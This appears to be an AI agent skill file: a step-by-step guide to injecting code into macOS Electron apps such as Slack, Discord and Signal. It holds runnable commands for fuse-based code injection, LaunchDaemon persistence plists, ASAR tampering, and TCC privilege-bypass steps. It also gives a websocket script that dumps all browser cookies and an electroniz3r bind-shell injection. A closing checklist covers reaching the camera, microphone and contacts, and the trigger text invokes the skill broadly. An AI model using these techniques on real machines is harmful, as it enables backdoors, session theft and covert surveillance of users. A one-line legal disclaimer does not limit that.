| name | macos-electron-injection |
| description | macOS Electron application security testing and privilege escalation. Use this skill whenever the user mentions Electron apps, macOS security testing, privilege escalation on macOS, Electron fuses, code injection in desktop apps, or any Electron-based application like Slack, Discord, VS Code, Signal, etc. This skill covers checking Electron fuses, various RCE techniques (ELECTRON_RUN_AS_NODE, NODE_OPTIONS, --inspect), persistence via plist, TCC bypass methods, and CVE exploitation. Trigger this for any macOS Electron security assessment, pentest, or privilege escalation scenario. |
macOS Electron Applications Injection
A comprehensive guide for security testing Electron applications on macOS, covering fuse analysis, code injection techniques, persistence mechanisms, and privilege escalation.
Quick Start
npx @electron/fuses read --app /Applications/Slack.app
find /Applications -name "*.app" -exec grep -l "Electron" {} \; 2>/dev/null
Understanding Electron Fuses
Electron Fuses are security flags that prevent code injection. Check them first before attempting any technique.
Critical Fuses
| Fuse | When Disabled | When Enabled |
|---|
RunAsNode | Allows ELECTRON_RUN_AS_NODE injection | Blocks Node.js mode |
EnableNodeCliInspectArguments | Allows --inspect, --inspect-brk | Blocks debug flags |
EnableEmbeddedAsarIntegrityValidation | ASAR files not validated | ASAR integrity checked |
OnlyLoadAppFromAsar | Can load from app/ folder | Only loads app.asar |
EnableNodeOptionsEnvironmentVariable | Allows NODE_OPTIONS | Blocks NODE_OPTIONS |
Check Fuses
npx @electron/fuses read --app /Applications/Slack.app
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" /Applications/Slack.app/
The fuse configuration is stored in the Electron binary, typically at:
application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
Injection Techniques
Technique 1: ELECTRON_RUN_AS_NODE
Requires: RunAsNode fuse disabled
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
require('child_process').execSync('/bin/bash -c "whoami"')
Persistence via LaunchDaemon:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.electron.inject</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>require('child_process').execSync('YOUR_PAYLOAD')</string>
</array>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<>RunAtLoad
Technique 2: NODE_OPTIONS
Requires: EnableNodeOptionsEnvironmentVariable disabled OR ELECTRON_RUN_AS_NODE=1 set
cat > /tmp/payload.js << 'EOF'
require('child_process').execSync('YOUR_COMMAND');
EOF
NODE_OPTIONS="--require /tmp/payload.js" \
ELECTRON_RUN_AS_NODE=1 \
/Applications/Discord.app/Contents/MacOS/Discord
Persistence via LaunchDaemon:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.electron.nodeoptions</string>
<key>RunAtLoad</key>
<true/>
</dict>
Technique 3: Debug Port Injection
Requires: EnableNodeCliInspectArguments disabled OR ELECTRON_RUN_AS_NODE=1 set
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
/Applications/Signal.app/Contents/MacOS/Signal --remote-debugging-port=9229
Connect via Chrome DevTools:
- Open
chrome://inspect
- Connect to
127.0.0.1:9229
- Execute JavaScript in console:
require('child_process').execSync('YOUR_COMMAND')
Cookie Dumping Script:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9229/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{"id": 1, "method": "Network.getAllCookies"}')
print(ws.recv())
Persistence via LaunchDaemon:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.electron.inspect</string>
<key>RunAtLoad</key>
<true/>
</dict>
Technique 4: ASAR File Modification
Requires: OnlyLoadAppFromAsar disabled OR EnableEmbeddedAsarIntegrityValidation disabled
npx asar extract /Applications/Slack.app/Contents/Resources/app.asar /tmp/app-decomp
npx asar pack /tmp/app-decomp /tmp/app-new.asar
cp /tmp/app-new.asar /Applications/Slack.app/Contents/Resources/app.asar
TCC Bypass Method:
cp -r /Applications/Slack.app /tmp/Slack.app
mv /tmp/Slack.app/Contents /tmp/Slack.app/NotCon
cd /tmp/Slack.app/NotCon/Resources
npx asar extract app.asar app-decomp
npx asar pack app-decomp app.asar
mv /tmp/Slack.app/NotCon /tmp/Slack.app/Contents
/tmp/Slack.app/Contents/MacOS/Slack
TCC Bypass Techniques
Method 1: Older Version Abuse
The TCC daemon doesn't check the executed version. Download an older version of the app and inject code - it will still have TCC privileges.
Method 2: Child Process Inheritance
Child processes run under the same sandbox profile and inherit TCC permissions:
const { spawn } = require('child_process');
spawn('/path/to/binary', [], {
stdio: 'inherit'
});
Known Vulnerabilities
CVE-2023-44402 - ASAR Integrity Bypass
Affected: Electron ≤22.3.23, various 23-27 pre-releases
Exploit: Create a directory named app.asar instead of archive:
mkdir app.asar
Patched in: 22.3.24, 24.8.3, 25.8.1, 26.2.1, 27.0.0-alpha.7
CVE-2024-23738 to CVE-2024-23743 - RunAsNode Cluster
Many Electron apps ship with RunAsNode and EnableNodeCliInspectArguments fuses enabled, allowing local attackers to:
- Relaunch with
ELECTRON_RUN_AS_NODE=1
- Use
--inspect-brk for code injection
- Inherit all sandbox and TCC permissions
Mitigation: Disable these fuses in production builds.
Automated Tools
electroniz3r
./electroniz3r list-apps
./electroniz3r verify "/Applications/Discord.app"
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
./electroniz3r inject "/Applications/Discord.app" --script /path/to/payload.js
Loki
Backdoors Electron applications by replacing JavaScript files with C2 files.
Workflow Checklist
-
Identify Electron Apps
find /Applications -name "*.app" -type d
-
Check Fuses
npx @electron/fuses read --app /Applications/Target.app
-
Select Technique Based on Fuses
RunAsNode disabled → Use ELECTRON_RUN_AS_NODE
EnableNodeCliInspectArguments disabled → Use --inspect
OnlyLoadAppFromAsar disabled → Modify ASAR
- All fuses enabled → Try TCC bypass or older version
-
Execute Injection
- Use appropriate technique from above
- Verify code execution
-
Establish Persistence (if needed)
- Create LaunchDaemon plist
- Place in
~/Library/LaunchDaemons/ or /Library/LaunchDaemons/
-
Leverage TCC Permissions
- Access camera, microphone, contacts, etc.
- Run binaries that inherit permissions
Common Electron Applications
| App | Bundle ID | Path |
|---|
| Slack | com.tinyspeck.slackmacgap | /Applications/Slack.app |
| Discord | com.hnc.Discord | /Applications/Discord.app |
| VS Code | com.microsoft.VSCode | /Applications/Visual Studio Code.app |
| Signal | org.whispersystems.signal-desktop | /Applications/Signal.app |
| Docker | com.electron.dockerdesktop | /Applications/Docker.app |
| GitHub Desktop | com.github.GitHubClient | /Applications/GitHub Desktop.app |
| Postman | com.postmanlabs.mac | /Applications/Postman.app |
Safety Notes
- Legal Use Only: These techniques are for authorized security testing only
- TCC Permissions: Modifying apps in
/Applications requires kTCCServiceSystemPolicyAppBundles permission
- Code Signing: Modified apps may fail code signature validation
- Backup: Always backup original files before modification
- Testing: Test in isolated environments before production use
References